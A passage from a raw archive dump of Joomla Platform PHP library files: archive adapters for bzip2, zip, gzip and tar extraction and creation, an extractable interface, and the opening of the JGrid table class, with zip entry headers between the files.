JArchiveBzip2 implements JArchiveExtractable { /** * Bzip2 file data buffer * * @var string * @since 1.5 */ private $_data = null; /** * Extract a Bzip2 compressed file to a given path * * @param string $archive Path to Bzip2 archive to extract * @param string $destination Path to extract archive to * @param array $options Extraction options [unused] * * @return boolean True if successful * * @since 1.5 * @throws RuntimeException */ public function extract($archive, $destination, array $options = array()) { $this->_data = null; if (!extension_loaded('bz2')) { $this->raiseWarning(100, 'The bz2 extension is not available.'); } if (isset($options['use_streams']) && $options['use_streams'] != false) { return $this->extractStream($archive, $destination, $options); } // Old style: read the whole file and then parse it $this->_data = file_get_contents($archive); if (!$this->_data) { return $this->raiseWarning(100, 'Unable to read archive'); } $buffer = bzdecompress($this->_data); unset($this->_data); if (empty($buffer)) { return $this->raiseWarning(100, 'Unable to decompress data'); } if (JFile::write($destination, $buffer) === false) { return $this->raiseWarning(100, 'Unable to write archive'); } return true; } /** * Method to extract archive using stream objects * * @param string $archive Path to Bzip2 archive to extract * @param string $destination Path to extract archive to * @param array $options Extraction options [unused] * * @return boolean True if successful * * @since 3.6.0 */ protected function extractStream($archive, $destination, $options = array()) { // New style! streams! $input = JFactory::getStream(); // Use bzip $input->set('processingmethod', 'bz'); if (!$input->open($archive)) { return $this->raiseWarning(100, 'Unable to read archive (bz2)'); } $output = JFactory::getStream(); if (!$output->open($destination, 'w')) { $input->close(); return $this->raiseWarning(100, 'Unable to write archive (bz2)'); } do { $this->_data = $input->read($input->get('chunksize', 8196)); if ($this->_data && !$output->write($this->_data)) { $input->close(); return $this->raiseWarning(100, 'Unable to write archive (bz2)'); } } while ($this->_data); $output->close(); $input->close(); return true; } /** * Temporary private method to isolate JError from the extract method * This code should be removed when JError is removed. * * @param int $code The application-internal error code for this error * @param string $msg The error message, which may also be shown the user if need be. * * @return JException JException instance if JError class exists * * @since 3.6.0 * @throws RuntimeException if JError class does not exist */ private function raiseWarning($code, $msg) { if (class_exists('JError')) { return JError::raiseWarning($code, $msg); } throw new RuntimeException($msg); } /** * Tests whether this adapter can unpack files on this computer. * * @return boolean True if supported * * @since 2.5.0 */ public static function isSupported() { return extension_loaded('bz2'); } } PK�\��XY�C�Cjoomla/archive/zip.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Archive * * @copyright (C) 2007 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; jimport('joomla.filesystem.file'); jimport('joomla.filesystem.folder'); /** * ZIP format adapter for the JArchive class * * The ZIP compression code is partially based on code from: * Eric Mueller <eric@themepark.com> * http://www.zend.com/codex.php?id=535&single=1 * * Deins125 <webmaster@atlant.ru> * http://www.zend.com/codex.php?id=470&single=1 * * The ZIP compression date code is partially based on code from * Peter Listiak <mlady@users.sourceforge.net> * * This class is inspired from and draws heavily in code and concept from the Compress package of * The Horde Project <https://www.horde.org> * * @contributor Chuck Hagenbuch <chuck@horde.org> * @contributor Michael Slusarz <slusarz@horde.org> * @contributor Michael Cochrane <mike@graftonhall.co.nz> * * @since 1.5 * @deprecated 4.0 use the Joomla\Archive\Zip class instead */ class JArchiveZip implements JArchiveExtractable { /** * ZIP compression methods. * * @var array * @since 1.5 */ private $_methods = array( 0x0 => 'None', 0x1 => 'Shrunk', 0x2 => 'Super Fast', 0x3 => 'Fast', 0x4 => 'Normal', 0x5 => 'Maximum', 0x6 => 'Imploded', 0x8 => 'Deflated', ); /** * Beginning of central directory record. * * @var string * @since 1.5 */ private $_ctrlDirHeader = "\x50\x4b\x01\x02"; /** * End of central directory record. * * @var string * @since 1.5 */ private $_ctrlDirEnd = "\x50\x4b\x05\x06\x00\x00\x00\x00"; /** * Beginning of file contents. * * @var string * @since 1.5 */ private $_fileHeader = "\x50\x4b\x03\x04"; /** * ZIP file data buffer * * @var string * @since 1.5 */ private $_data = null; /** * ZIP file metadata array * * @var array * @since 1.5 */ private $_metadata = null; /** * Create a ZIP compressed file from an array of file data. * * @param string $archive Path to save archive. * @param array $files Array of files to add to archive. * * @return boolean True if successful. * * @since 1.5 * * @todo Finish Implementation */ public function create($archive, $files) { $contents = array(); $ctrldir = array(); foreach ($files as $file) { $this->_addToZIPFile($file, $contents, $ctrldir); } return $this->_createZIPFile($contents, $ctrldir, $archive); } /** * Extract a ZIP compressed file to a given path * * @param string $archive Path to ZIP archive to extract * @param string $destination Path to extract archive into * @param array $options Extraction options [unused] * * @return boolean True if successful * * @since 1.5 * @throws RuntimeException */ public function extract($archive, $destination, array $options = array()) { if (!is_file($archive)) { return $this->raiseWarning(100, 'Archive does not exist'); } if ($this->hasNativeSupport()) { return $this->extractNative($archive, $destination); } return $this->extractCustom($archive, $destination); } /** * Temporary private method to isolate JError from the extract method * This code should be removed when JError is removed. * * @param int $code The application-internal error code for this error * @param string $msg The error message, which may also be shown the user if need be. * * @return JException JException instance if JError class exists * * @since 3.6.0 * @throws RuntimeException if JError class does not exist */ private function raiseWarning($code, $msg) { if (class_exists('JError')) { return JError::raiseWarning($code, $msg); } throw new RuntimeException($msg); } /** * Tests whether this adapter can unpack files on this computer. * * @return boolean True if supported * * @since 2.5.0 */ public static function isSupported() { return self::hasNativeSupport() || extension_loaded('zlib'); } /** * Method to determine if the server has native zip support for faster handling * * @return boolean True if php has native ZIP support * * @since 1.5 */ public static function hasNativeSupport() { return extension_loaded('zip'); } /** * Checks to see if the data is a valid ZIP file. * * @param string &$data ZIP archive data buffer. * * @return boolean True if valid, false if invalid. * * @since 1.5 */ public function checkZipData(&$data) { if (strpos($data, $this->_fileHeader) === false) { return false; } return true; } /** * Extract a ZIP compressed file to a given path using a php based algorithm that only requires zlib support * * @param string $archive Path to ZIP archive to extract. * @param string $destination Path to extract archive into. * * @return mixed True if successful * * @since 3.0 * @throws RuntimeException */ protected function extractCustom($archive, $destination) { $this->_data = null; $this->_metadata = null; if (!extension_loaded('zlib')) { return $this->raiseWarning(100, 'Zlib not supported'); } $this->_data = file_get_contents($archive); if (!$this->_data) { return $this->raiseWarning(100, 'Unable to read archive (zip)'); } if (!$this->_readZipInfo($this->_data)) { return $this->raiseWarning(100, 'Get ZIP Information failed'); } for ($i = 0, $n = count($this->_metadata); $i < $n; $i++) { $lastPathCharacter = substr($this->_metadata[$i]['name'], -1, 1); if ($lastPathCharacter !== '/' && $lastPathCharacter !== '\\') { $buffer = $this->_getFileData($i); $path = JPath::clean($destination . '/' . $this->_metadata[$i]['name']); if (strpos(JPath::clean(JPath::resolve($destination . '/' . $this->_metadata[$i]['name'])), JPath::clean(JPath::resolve($destination))) !== 0) { return $this->raiseWarning(100, 'Unable to write outside of destination path'); } // Make sure the destination folder exists if (!JFolder::create(dirname($path))) { return $this->raiseWarning(100, 'Unable to create destination'); } if (JFile::write($path, $buffer) === false) { return $this->raiseWarning(100, 'Unable to write entry'); } } } return true; } /** * Extract a ZIP compressed file to a given path using native php api calls for speed * * @param string $archive Path to ZIP archive to extract * @param string $destination Path to extract archive into * * @return boolean True on success * * @since 3.0 * @throws RuntimeException */ protected function extractNative($archive, $destination) { $zip = new \ZipArchive; if ($zip->open($archive) !== true) { return $this->raiseWarning(100, 'Unable to open archive'); } // Make sure the destination folder exists if (!JFolder::create($destination)) { return $this->raiseWarning(100, 'Unable to create destination'); } // Read files in the archive for ($index = 0; $index < $zip->numFiles; $index++) { $file = $zip->getNameIndex($index); if (substr($file, -1) === '/') { continue; } $buffer = $zip->getFromIndex($index); if ($buffer === false) { return $this->raiseWarning(100, 'Unable to read entry'); } if (strpos(JPath::clean(JPath::resolve($destination . '/' . $file)), JPath::clean(JPath::resolve($destination))) !== 0) { return $this->raiseWarning(100, 'Unable to write outside of destination path'); } if (JFile::write($destination . '/' . $file, $buffer) === false) { return $this->raiseWarning(100, 'Unable to write entry'); } } $zip->close(); return true; } /** * Get the list of files/data from a ZIP archive buffer. * * <pre> * KEY: Position in zipfile * VALUES: 'attr' -- File attributes * 'crc' -- CRC checksum * 'csize' -- Compressed file size * 'date' -- File modification time * 'name' -- Filename * 'method'-- Compression method * 'size' -- Original file size * 'type' -- File type * </pre> * * @param string &$data The ZIP archive buffer. * * @return boolean True on success * * @since 2.5.0 * @throws RuntimeException */ private function _readZipInfo(&$data) { $entries = array(); // Find the last central directory header entry $fhLast = strpos($data, $this->_ctrlDirEnd); do { $last = $fhLast; } while (($fhLast = strpos($data, $this->_ctrlDirEnd, $fhLast + 1)) !== false); // Find the central directory offset $offset = 0; if ($last) { $endOfCentralDirectory = unpack( 'vNumberOfDisk/vNoOfDiskWithStartOfCentralDirectory/vNoOfCentralDirectoryEntriesOnDisk/' . 'vTotalCentralDirectoryEntries/VSizeOfCentralDirectory/VCentralDirectoryOffset/vCommentLength', substr($data, $last + 4) ); $offset = $endOfCentralDirectory['CentralDirectoryOffset']; } // Get details from central directory structure. $fhStart = strpos($data, $this->_ctrlDirHeader, $offset); $dataLength = strlen($data); do { if ($dataLength < $fhStart + 31) { return $this->raiseWarning(100, 'Invalid Zip Data'); } $info = unpack('vMethod/VTime/VCRC32/VCompressed/VUncompressed/vLength', substr($data, $fhStart + 10, 20)); $name = substr($data, $fhStart + 46, $info['Length']); $entries[$name] = array( 'attr' => null, 'crc' => sprintf('%08s', dechex($info['CRC32'])), 'csize' => $info['Compressed'], 'date' => null, '_dataStart' => null, 'name' => $name, 'method' => $this->_methods[$info['Method']], '_method' => $info['Method'], 'size' => $info['Uncompressed'], 'type' => null, ); $entries[$name]['date'] = mktime( (($info['Time'] >> 11) & 0x1f), (($info['Time'] >> 5) & 0x3f), (($info['Time'] << 1) & 0x3e), (($info['Time'] >> 21) & 0x07), (($info['Time'] >> 16) & 0x1f), ((($info['Time'] >> 25) & 0x7f) + 1980) ); if ($dataLength < $fhStart + 43) { return $this->raiseWarning(100, 'Invalid ZIP data'); } $info = unpack('vInternal/VExternal/VOffset', substr($data, $fhStart + 36, 10)); $entries[$name]['type'] = ($info['Internal'] & 0x01) ? 'text' : 'binary'; $entries[$name]['attr'] = (($info['External'] & 0x10) ? 'D' : '-') . (($info['External'] & 0x20) ? 'A' : '-') . (($info['External'] & 0x03) ? 'S' : '-') . (($info['External'] & 0x02) ? 'H' : '-') . (($info['External'] & 0x01) ? 'R' : '-'); $entries[$name]['offset'] = $info['Offset']; // Get details from local file header since we have the offset $lfhStart = strpos($data, $this->_fileHeader, $entries[$name]['offset']); if ($dataLength < $lfhStart + 34) { return $this->raiseWarning(100, 'Invalid Zip Data'); } $info = unpack('vMethod/VTime/VCRC32/VCompressed/VUncompressed/vLength/vExtraLength', substr($data, $lfhStart + 8, 25)); $name = substr($data, $lfhStart + 30, $info['Length']); $entries[$name]['_dataStart'] = $lfhStart + 30 + $info['Length'] + $info['ExtraLength']; // Bump the max execution time because not using the built in php zip libs makes this process slow. @set_time_limit(ini_get('max_execution_time')); } while ((($fhStart = strpos($data, $this->_ctrlDirHeader, $fhStart + 46)) !== false)); $this->_metadata = array_values($entries); return true; } /** * Returns the file data for a file by offset in the ZIP archive * * @param integer $key The position of the file in the archive. * * @return string Uncompressed file data buffer. * * @since 1.5 */ private function _getFileData($key) { $method = $this->_metadata[$key]['_method']; if ($method == 0x12 && !extension_loaded('bz2')) { return ''; } switch ($method) { case 0x8: return gzinflate(substr($this->_data, $this->_metadata[$key]['_dataStart'], $this->_metadata[$key]['csize'])); case 0x0: // Files that aren't compressed. return substr($this->_data, $this->_metadata[$key]['_dataStart'], $this->_metadata[$key]['csize']); case 0x12: return bzdecompress(substr($this->_data, $this->_metadata[$key]['_dataStart'], $this->_metadata[$key]['csize'])); } return ''; } /** * Converts a UNIX timestamp to a 4-byte DOS date and time format * (date in high 2-bytes, time in low 2-bytes allowing magnitude * comparison). * * @param int $unixtime The current UNIX timestamp. * * @return int The current date in a 4-byte DOS format. * * @since 1.5 */ protected function _unix2DOSTime($unixtime = null) { $timearray = (is_null($unixtime)) ? getdate() : getdate($unixtime); if ($timearray['year'] < 1980) { $timearray['year'] = 1980; $timearray['mon'] = 1; $timearray['mday'] = 1; $timearray['hours'] = 0; $timearray['minutes'] = 0; $timearray['seconds'] = 0; } return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); } /** * Adds a "file" to the ZIP archive. * * @param array &$file File data array to add * @param array &$contents An array of existing zipped files. * @param array &$ctrldir An array of central directory information. * * @return void * * @since 1.5 * * @todo Review and finish implementation */ private function _addToZIPFile(array &$file, array &$contents, array &$ctrldir) { $data = &$file['data']; $name = str_replace('\\', '/', $file['name']); /* See if time/date information has been provided. */ $ftime = null; if (isset($file['time'])) { $ftime = $file['time']; } // Get the hex time. $dtime = dechex($this->_unix2DosTime($ftime)); $hexdtime = chr(hexdec($dtime[6] . $dtime[7])) . chr(hexdec($dtime[4] . $dtime[5])) . chr(hexdec($dtime[2] . $dtime[3])) . chr(hexdec($dtime[0] . $dtime[1])); /* Begin creating the ZIP data. */ $fr = $this->_fileHeader; /* Version needed to extract. */ $fr .= "\x14\x00"; /* General purpose bit flag. */ $fr .= "\x00\x00"; /* Compression method. */ $fr .= "\x08\x00"; /* Last modification time/date. */ $fr .= $hexdtime; /* "Local file header" segment. */ $unc_len = strlen($data); $crc = crc32($data); $zdata = gzcompress($data); $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); $c_len = strlen($zdata); /* CRC 32 information. */ $fr .= pack('V', $crc); /* Compressed filesize. */ $fr .= pack('V', $c_len); /* Uncompressed filesize. */ $fr .= pack('V', $unc_len); /* Length of filename. */ $fr .= pack('v', strlen($name)); /* Extra field length. */ $fr .= pack('v', 0); /* File name. */ $fr .= $name; /* "File data" segment. */ $fr .= $zdata; /* Add this entry to array. */ $old_offset = strlen(implode('', $contents)); $contents[] = &$fr; /* Add to central directory record. */ $cdrec = $this->_ctrlDirHeader; /* Version made by. */ $cdrec .= "\x00\x00"; /* Version needed to extract */ $cdrec .= "\x14\x00"; /* General purpose bit flag */ $cdrec .= "\x00\x00"; /* Compression method */ $cdrec .= "\x08\x00"; /* Last mod time/date. */ $cdrec .= $hexdtime; /* CRC 32 information. */ $cdrec .= pack('V', $crc); /* Compressed filesize. */ $cdrec .= pack('V', $c_len); /* Uncompressed filesize. */ $cdrec .= pack('V', $unc_len); /* Length of filename. */ $cdrec .= pack('v', strlen($name)); /* Extra field length. */ $cdrec .= pack('v', 0); /* File comment length. */ $cdrec .= pack('v', 0); /* Disk number start. */ $cdrec .= pack('v', 0); /* Internal file attributes. */ $cdrec .= pack('v', 0); /* External file attributes -'archive' bit set. */ $cdrec .= pack('V', 32); /* Relative offset of local header. */ $cdrec .= pack('V', $old_offset); /* File name. */ $cdrec .= $name; /* Optional extra field, file comment goes here. */ /* Save to central directory array. */ $ctrldir[] = &$cdrec; } /** * Creates the ZIP file. * * Official ZIP file format: https://support.pkware.com/display/PKZIP/APPNOTE * * @param array &$contents An array of existing zipped files. * @param array &$ctrlDir An array of central directory information. * @param string $path The path to store the archive. * * @return boolean True if successful * * @since 1.5 * * @todo Review and finish implementation */ private function _createZIPFile(array &$contents, array &$ctrlDir, $path) { $data = implode('', $contents); $dir = implode('', $ctrlDir); $buffer = $data . $dir . $this->_ctrlDirEnd . /* Total # of entries "on this disk". */ pack('v', count($ctrlDir)) . /* Total # of entries overall. */ pack('v', count($ctrlDir)) . /* Size of central directory. */ pack('V', strlen($dir)) . /* Offset to start of central dir. */ pack('V', strlen($data)) . /* ZIP file comment length. */ "\x00\x00"; if (JFile::write($path, $buffer) === false) { return false; } return true; } } PK�\j�7RR"joomla/archive/wrapper/archive.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Archive * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Wrapper class for JArchive * * @package Joomla.Platform * @subpackage Archive * @since 3.4 * @deprecated 4.0 use the Joomla\Archive\Archive class instead */ class JArchiveWrapperArchive { /** * Helper wrapper method for extract * * @param string $archivename The name of the archive file * @param string $extractdir Directory to unpack into * * @return boolean True for success * * @see JArchive::extract() * @since 3.4 * @throws InvalidArgumentException * @deprecated 4.0 use the Joomla\Archive\Archive class instead */ public function extract($archivename, $extractdir) { return JArchive::extract($archivename, $extractdir); } /** * Helper wrapper method for getAdapter * * @param string $type The type of adapter (bzip2|gzip|tar|zip). * * @return JArchiveExtractable Adapter for the requested type * * @see JUserHelper::getAdapter() * @since 3.4 * @deprecated 4.0 use the Joomla\Archive\Archive class instead */ public function getAdapter($type) { return JArchive::getAdapter($type); } } PK�\Q�X��joomla/archive/archive.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Archive * * @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; jimport('joomla.filesystem.file'); jimport('joomla.filesystem.folder'); use Joomla\Archive\Archive; /** * An Archive handling class * * @since 1.5 * @deprecated 4.0 use the Joomla\Archive\Archive class instead */ class JArchive { /** * The array of instantiated archive adapters. * * @var JArchiveExtractable[] * @since 3.0.0 */ protected static $adapters = array(); /** * Extract an archive file to a directory. * * @param string $archivename The name of the archive file * @param string $extractdir Directory to unpack into * * @return boolean True for success * * @since 1.5 * @throws InvalidArgumentException * @deprecated 4.0 use the Joomla\Archive\Archive class instead */ public static function extract($archivename, $extractdir) { // The archive instance $archive = new Archive(array('tmp_path' => JFactory::getConfig()->get('tmp_path'))); // Extract the archive return $archive->extract($archivename, $extractdir); } /** * Get a file compression adapter. * * @param string $type The type of adapter (bzip2|gzip|tar|zip). * * @return JArchiveExtractable Adapter for the requested type * * @since 1.5 * @throws UnexpectedValueException * @deprecated 4.0 use the Joomla\Archive\Archive class instead */ public static function getAdapter($type) { if (!isset(self::$adapters[$type])) { // Try to load the adapter object $class = 'JArchive' . ucfirst($type); if (!class_exists($class)) { throw new UnexpectedValueException('Unable to load archive', 500); } self::$adapters[$type] = new $class; } return self::$adapters[$type]; } } PK�\=��t��joomla/archive/gzip.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Archive * * @copyright (C) 2007 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; jimport('joomla.filesystem.file'); /** * Gzip format adapter for the JArchive class * * This class is inspired from and draws heavily in code and concept from the Compress package of * The Horde Project <https://www.horde.org> * * @contributor Michael Slusarz <slusarz@horde.org> * @contributor Michael Cochrane <mike@graftonhall.co.nz> * * @since 1.5 * @deprecated 4.0 use the Joomla\Archive\Gzip class instead */ class JArchiveGzip implements JArchiveExtractable { /** * Gzip file flags. * * @var array * @since 1.5 */ private $_flags = array('FTEXT' => 0x01, 'FHCRC' => 0x02, 'FEXTRA' => 0x04, 'FNAME' => 0x08, 'FCOMMENT' => 0x10); /** * Gzip file data buffer * * @var string * @since 1.5 */ private $_data = null; /** * Extract a Gzip compressed file to a given path * * @param string $archive Path to ZIP archive to extract * @param string $destination Path to extract archive to * @param array $options Extraction options [unused] * * @return boolean True if successful * * @since 1.5 * @throws RuntimeException */ public function extract($archive, $destination, array $options = array()) { $this->_data = null; if (!extension_loaded('zlib')) { return $this->raiseWarning(100, 'The zlib extension is not available.'); } if (isset($options['use_streams']) && $options['use_streams'] != false) { return $this->extractStream($archive, $destination, $options); } $this->_data = file_get_contents($archive); if (!$this->_data) { return $this->raiseWarning(100, 'Unable to read archive'); } $position = $this->_getFilePosition(); $buffer = gzinflate(substr($this->_data, $position, strlen($this->_data) - $position)); if (empty($buffer)) { return $this->raiseWarning(100, 'Unable to decompress data'); } if (JFile::write($destination, $buffer) === false) { return $this->raiseWarning(100, 'Unable to write archive'); } return true; } /** * Method to extract archive using stream objects * * @param string $archive Path to ZIP archive to extract * @param string $destination Path to extract archive to * @param array $options Extraction options [unused] * * @return boolean True if successful * * @since 3.6.0 */ protected function extractStream($archive, $destination, $options = array()) { // New style! streams! $input = JFactory::getStream(); // Use gz $input->set('processingmethod', 'gz'); if (!$input->open($archive)) { return $this->raiseWarning(100, 'Unable to read archive (gz)'); } $output = JFactory::getStream(); if (!$output->open($destination, 'w')) { $input->close(); return $this->raiseWarning(100, 'Unable to write archive (gz)'); } do { $this->_data = $input->read($input->get('chunksize', 8196)); if ($this->_data && !$output->write($this->_data)) { $input->close(); return $this->raiseWarning(100, 'Unable to write file (gz)'); } } while ($this->_data); $output->close(); $input->close(); return true; } /** * Temporary private method to isolate JError from the extract method * This code should be removed when JError is removed. * * @param int $code The application-internal error code for this error * @param string $msg The error message, which may also be shown the user if need be. * * @return JException JException instance if JError class exists * * @since 3.6.0 * @throws RuntimeException if JError class does not exist */ private function raiseWarning($code, $msg) { if (class_exists('JError')) { return JError::raiseWarning($code, $msg); } throw new RuntimeException($msg); } /** * Tests whether this adapter can unpack files on this computer. * * @return boolean True if supported * * @since 2.5.0 */ public static function isSupported() { return extension_loaded('zlib'); } /** * Get file data offset for archive * * @return integer Data position marker for archive * * @since 1.5 * @throws RuntimeException */ public function _getFilePosition() { // Gzipped file... unpack it first $position = 0; $info = @ unpack('CCM/CFLG/VTime/CXFL/COS', substr($this->_data, $position + 2)); if (!$info) { return $this->raiseWarning(100, 'Unable to decompress data.'); } $position += 10; if ($info['FLG'] & $this->_flags['FEXTRA']) { $XLEN = unpack('vLength', substr($this->_data, $position + 0, 2)); $XLEN = $XLEN['Length']; $position += $XLEN + 2; } if ($info['FLG'] & $this->_flags['FNAME']) { $filenamePos = strpos($this->_data, "\x0", $position); $position = $filenamePos + 1; } if ($info['FLG'] & $this->_flags['FCOMMENT']) { $commentPos = strpos($this->_data, "\x0", $position); $position = $commentPos + 1; } if ($info['FLG'] & $this->_flags['FHCRC']) { $hcrc = unpack('vCRC', substr($this->_data, $position + 0, 2)); $hcrc = $hcrc['CRC']; $position += 2; } return $position; } } PK�\�Fi���joomla/archive/extractable.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Archive * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Archieve class interface * * @since 3.0.0 * @deprecated 4.0 use the Joomla\Archive\ExtractableInterface interface instead */ interface JArchiveExtractable { /** * Extract a compressed file to a given path * * @param string $archive Path to archive to extract * @param string $destination Path to extract archive to * @param array $options Extraction options [may be unused] * * @return boolean True if successful * * @since 3.0.0 */ public function extract($archive, $destination, array $options = array()); /** * Tests whether this adapter can unpack files on this computer. * * @return boolean True if supported * * @since 3.0.0 */ public static function isSupported(); } PK�\�v�DDjoomla/archive/tar.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Archive * * @copyright (C) 2007 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; jimport('joomla.filesystem.file'); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.path'); /** * Tar format adapter for the JArchive class * * This class is inspired from and draws heavily in code and concept from the Compress package of * The Horde Project <https://www.horde.org> * * @contributor Michael Slusarz <slusarz@horde.org> * @contributor Michael Cochrane <mike@graftonhall.co.nz> * * @since 1.5 * @deprecated 4.0 use the Joomla\Archive\Tar class instead */ class JArchiveTar implements JArchiveExtractable { /** * Tar file types. * * @var array * @since 1.5 */ private $_types = array( 0x0 => 'Unix file', 0x30 => 'File', 0x31 => 'Link', 0x32 => 'Symbolic link', 0x33 => 'Character special file', 0x34 => 'Block special file', 0x35 => 'Directory', 0x36 => 'FIFO special file', 0x37 => 'Contiguous file', ); /** * Tar file data buffer * * @var string * @since 1.5 */ private $_data = null; /** * Tar file metadata array * * @var array * @since 1.5 */ private $_metadata = null; /** * Extract a ZIP compressed file to a given path * * @param string $archive Path to ZIP archive to extract * @param string $destination Path to extract archive into * @param array $options Extraction options [unused] * * @return boolean|JException True on success, JException instance on failure if JError class exists * * @since 1.5 * @throws RuntimeException if JError class does not exist */ public function extract($archive, $destination, array $options = array()) { $this->_data = null; $this->_metadata = null; $this->_data = file_get_contents($archive); if (!$this->_data) { if (class_exists('JError')) { return JError::raiseWarning(100, 'Unable to read archive'); } else { throw new RuntimeException('Unable to read archive'); } } $this->_getTarInfo($this->_data); for ($i = 0, $n = count($this->_metadata); $i < $n; $i++) { $type = strtolower($this->_metadata[$i]['type']); if ($type == 'file' || $type == 'unix file') { $buffer = $this->_metadata[$i]['data']; $path = JPath::clean($destination . '/' . $this->_metadata[$i]['name']); if (strpos(JPath::clean(JPath::resolve($destination . '/' . $this->_metadata[$i]['name'])), JPath::clean(JPath::resolve($destination))) !== 0) { if (class_exists('JError')) { return JError::raiseWarning(100, 'Unable to write outside of destination path'); } else { throw new RuntimeException('Unable to write outside of destination path'); } } // Make sure the destination folder exists if (!JFolder::create(dirname($path))) { if (class_exists('JError')) { return JError::raiseWarning(100, 'Unable to create destination'); } else { throw new RuntimeException('Unable to create destination'); } } if (JFile::write($path, $buffer) === false) { if (class_exists('JError')) { return JError::raiseWarning(100, 'Unable to write entry'); } else { throw new RuntimeException('Unable to write entry'); } } } } return true; } /** * Tests whether this adapter can unpack files on this computer. * * @return boolean True if supported * * @since 2.5.0 */ public static function isSupported() { return true; } /** * Get the list of files/data from a Tar archive buffer. * * @param string &$data The Tar archive buffer. * * @return boolean|JException True on success, JException instance on failure if JError class exists * * @since 1.5 * @throws RuntimeException if JError class does not exist */ protected function _getTarInfo(& $data) { $position = 0; $return_array = array(); while ($position < strlen($data)) { if (version_compare(PHP_VERSION, '5.5', '>=')) { $info = @unpack( 'Z100filename/Z8mode/Z8uid/Z8gid/Z12size/Z12mtime/Z8checksum/Ctypeflag/Z100link/Z6magic/Z2version/Z32uname/Z32gname/Z8devmajor/Z8devminor', substr($data, $position) ); } else { $info = @unpack( 'a100filename/a8mode/a8uid/a8gid/a12size/a12mtime/a8checksum/Ctypeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', substr($data, $position) ); } /** * This variable has been set in the previous loop, * meaning that the filename was present in the previous block * to allow more than 100 characters - see below */ if (isset($longlinkfilename)) { $info['filename'] = $longlinkfilename; unset($longlinkfilename); } if (!$info) { if (class_exists('JError')) { return JError::raiseWarning(100, 'Unable to decompress data'); } else { throw new RuntimeException('Unable to decompress data'); } } $position += 512; $contents = substr($data, $position, octdec($info['size'])); $position += ceil(octdec($info['size']) / 512) * 512; if ($info['filename']) { $file = array( 'attr' => null, 'data' => null, 'date' => octdec($info['mtime']), 'name' => trim($info['filename']), 'size' => octdec($info['size']), 'type' => isset($this->_types[$info['typeflag']]) ? $this->_types[$info['typeflag']] : null, ); if (($info['typeflag'] == 0) || ($info['typeflag'] == 0x30) || ($info['typeflag'] == 0x35)) { // File or folder. $file['data'] = $contents; $mode = hexdec(substr($info['mode'], 4, 3)); $file['attr'] = (($info['typeflag'] == 0x35) ? 'd' : '-') . (($mode & 0x400) ? 'r' : '-') . (($mode & 0x200) ? 'w' : '-') . (($mode & 0x100) ? 'x' : '-') . (($mode & 0x040) ? 'r' : '-') . (($mode & 0x020) ? 'w' : '-') . (($mode & 0x010) ? 'x' : '-') . (($mode & 0x004) ? 'r' : '-') . (($mode & 0x002) ? 'w' : '-') . (($mode & 0x001) ? 'x' : '-'); } elseif (chr($info['typeflag']) == 'L' && $info['filename'] == '././@LongLink') { // GNU tar ././@LongLink support - the filename is actually in the contents, // setting a variable here so we can test in the next loop $longlinkfilename = $contents; // And the file contents are in the next block so we'll need to skip this continue; } else { // Some other type. } $return_array[] = $file; } } $this->_metadata = $return_array; return true; } } PK�\H���%�%joomla/grid/grid.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Grid * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * JGrid class to dynamically generate HTML tables * * @since 1.7.3 * @deprecated 4.0 This class will be removed without any replacement */ class JGrid { /** * Array of columns * @var array * @since 1.7.3 */ protected $columns = array(); /** * Current active row * @var int * @since 1.7.3 */ protected $activeRow = 0; /** * Rows of the table (including header and footer rows) * @var array * @since 1.7.3 */ protected $rows = array(); /** * Header and Footer row-IDs * @var array * @since 1.7.3 */ protected $specialRows = array('header' => array(), 'footer' => array()); /** * Associative array of attributes for the table-tag * @var array * @since 1.7.3 */ protected $options; /** * Constructor for a JGrid object * * @param array $options Associative array of attributes for the table-tag * * @since 1.7.3 */ public function __construct($options = array()) { $this->setTableOptions($options, true); } /** * Magic function to render this object as a table. * * @return string * * @since 1.7.3 */ public function __toString() { return $this->toString(); } /** * Method to set the attributes for a table-tag * * @param array $options Associative array of attributes for the table-tag * @param bool $replace Replace possibly existing attributes * * @return JGrid This object for chaining * * @since 1.7.3 */ public function setTableOptions($options = array(), $replace = false) { if ($replace) { $this->options = $options; } else { $this->options = array_merge($this->options, $options); } return $this; } /** * Get the Attributes of the current table * * @return array Associative array of attributes * * @since 1.7.3 */ public function getTableOptions() { return $this->options; } /** * Add new column name to process * * @param string $name Internal column name * * @return JGrid This object for chaining * * @since 1.7.3 */ public function addColumn($name) { $this->columns[] = $name; return $this; } /** * Returns the list of internal columns * * @return array List of internal columns * * @since 1.7.3 */ public function getColumns() { return $this->columns; } /** * Delete column by name * * @param string $name Name of the column to be deleted * * @return JGrid This object for chaining * * @since 1.7.3 */ public function deleteColumn($name) { $index = array_search($name, $this->columns); if ($index !== false) { unset($this->columns[$index]); $this->columns = array_values($this->columns); } return $this; } /** * Method to set a whole range of columns at once * This can be used to re-order the columns, too * * @param array $columns List of internal column names * * @return JGrid This object for chaining * * @since 1.7.3 */ public 